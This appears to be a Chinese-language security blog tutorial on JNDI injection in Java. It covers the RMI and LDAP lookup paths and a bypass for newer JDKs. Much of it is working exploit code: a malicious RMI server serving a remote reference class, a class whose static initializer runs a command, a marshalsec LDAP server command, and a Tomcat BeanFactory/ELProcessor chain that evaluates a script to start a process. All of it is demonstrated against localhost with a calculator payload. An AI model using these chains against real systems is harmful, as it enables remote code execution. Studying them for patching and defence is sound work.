JNDI介绍

JNDI(Java Naming and Directory Interface，Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API，允许客户端通过名称发现和查找数据、对象，用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中，例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于哈希表的K/V对，通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service，用类似目录的方式来存取服务。
从介绍看可以知道JNDI分为四种服务

• RMI
• LDAP
• DNS
• CORBA

RMI之前已经分析过了，今天就来研究剩下的服务

JNDI的简单应用

以rmi为例子，我们先准备rmi的服务端，然后再创建JNDI的服务端与客户端，这里用marshalsec-0.0.3-SNAPSHOT-all.jar搭建的rmi服务

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIRmiServer {
    public static void main(String[] args) throws NamingException {
        // 创建一个上下文对象
        InitialContext context = new InitialContext();
        // 创建一个引用，第一个参数是恶意class的名字，第二个参数是beanfactory的名字，我们自定义(和class文件对应),第三个参数表示恶意class的地址
        Reference ref = new Reference("evilref", "evilref", "http://127.0.0.1:8888/");
        context.rebind("rmi://127.0.0.1:1099/evilref", ref);
    }
}

import java.io.IOException;

public class evilref {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        
    }
}

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRmiClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/evilref");
    }
}

成功弹出计算器

JNDI注入--RMI

lookup处打个断点

修复方案

在2016年后对RMI对应的context进行了修复，添加了判断条件，JDK 6u45、7u21后，java.rmi.server.useCodebaseOnly 的值默认为true。也就没法进入getObjectInstance了

JNDI注入--LDAP

虽然Java设计师修复了RMI，但是发现这个漏洞的师傅简单挖挖又发现了ldap也能JNDI注入（，分析一下，笔者所用jdk版本8u65

LDAP介绍

啥是ldap服务呢，可以把ldap理解为一个储存协议的数据库，它分为DN DC CN OU四个部分
树层次分为以下几层：

• dn：一条记录的详细位置，由以下几种属性组成
• dc: 一条记录所属区域（哪一个树，相当于MYSQL的数据库）
• ou：一条记录所处的分叉（哪一个分支，支持多个ou，代表分支后的分支）
• cn/uid：一条记录的名字/ID（树的叶节点的编号，相当于MYSQL的表主键）

LDAP创建

还是使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#evilref 1099，这样LDAP就启动了

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evilref");
    }
}

流程分析

还是在lookup打断点跟进，进入ldapURLContext

JNDI注入--RMI高版本绕过

换个高版本的jdk，我使用jdk8u202，简单跑一下，可以发现弹不了计算器了
经过一系列的构式调试，进到最后，这里有个判断，阻止了我们实例化类

<dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.el</groupId>
            <artifactId>com.springsource.org.apache.el</artifactId>
            <version>7.0.26</version>
        </dependency>
</dependencies>

然后就能找到BeanFactory了，这里存在反射调用method

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRmiServer {
    public static void main(String[] args) throws NamingException {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRmiClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("rmi://localhost:1099/calc");
    }
}

成功弹出计算器

流程分析

还是lookup打断点，直接定位到getObjectFactoryFromReference

热门相关：美食萌后：皇上，喂不饱！   帝少夜宠：小甜妻，乖！   明天和意外   前夫有毒：1000万夺子契约   伏天剑尊